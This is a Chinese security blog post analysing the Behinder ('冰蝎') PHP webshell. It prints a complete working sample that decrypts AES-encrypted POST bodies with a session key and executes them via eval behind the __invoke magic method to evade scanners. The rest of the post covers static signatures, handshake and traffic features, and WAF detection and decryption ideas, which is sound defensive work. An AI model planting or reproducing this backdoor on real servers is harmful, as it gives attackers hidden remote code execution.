冰歇webshell初探

木马样本:

<?php

class C{

public function __invoke($p)

{

eval($p."");

}

};

session_start();

isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&@call_user_func(new C(),$b[1]);

?>

可以看到冰蝎的木马先获取get参数pass,获取到之后随机生成一个key。然后后续再使用这个key当做AES128的秘钥进行解密并执行

 

根据webshell执行方式可以确定冰蝎木马存在以下静态特征:

  1. $_SESSION[]

Webshell一定会使用session变量在服务器缓存一个key用于流量密文的解密。

  1. openssl_decrypt()

Webshell由于需要让流量加密,所以需要使用openssl_decrypt函数来对流量进行加密

  1. call_user_func()

call_user_func()回调函数用于执行传递过来的php代码

  1. __invoke()

Webshell最常见的躲避静态查杀的版本,利用类的魔术方法来执行eval可绕过一些weshell查杀软件

※其中call_user_func()与魔术方法之间的配合在以前通常用于绕过安全狗,D盾等软waf的静态查杀,执行代码也不一定会只限于__invoker,也有可能是其他魔术方法

0x02 冰蝎webshell流量分析

冰蝎webshell跟控制端通讯流程

 

通过抓包发现冰蝎在存入webshell地址并建立连接会发送4个包

 

其中前两个包分别发送了两组phpsessionid与key,第三个包为获取基本信息(phpinfo)的包,第四个包为保持连接的包。

其中,第三个包的body长度为1112,第四个包body长度为2220,这两个包的长度为定长,且第四个包在保持连接的时候会一直产生,且PHPSESSIONID会变化。

通过查看冰蝎的通讯包会发现冰蝎的流量有如下特征:

  1. 交换key

请求包为GET请求,且带有参数;响应包为chunk编码,且返回16位hex字符串与一个PHPSESSIONID。

  1. 执行代码

请求包包含PHPSESSIONID,该id为建立连接时候返回的PHPSESSION中的其中一个;

响应包为chunk,且无PHPSESSIONID。

0x03 冰蝎webshell防护思路

临时防护

冰蝎发送的4个请求包中,其中获取信息的包(第三个),以及维持通讯包(第4个)body都是定长,没有跟随冰蝎的链接密码,或者目标ip域名等信息变化而变化,且body体为base64编码之后的aes密文,增删改任意字符都会造成解密失败。

解密

冰蝎在建立连接的前两个包会交换key与phpsessionid,waf端可以通过这两个回包的特征来判断是否会为冰蝎交换key的请求并缓存key与phpsessionid,然后通过进行后续检测请求中的PHHSESSIONID来判断是否为冰蝎的后续流量,并通过缓存的key来解密,解密的内容与普通的木马通讯差别不大。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值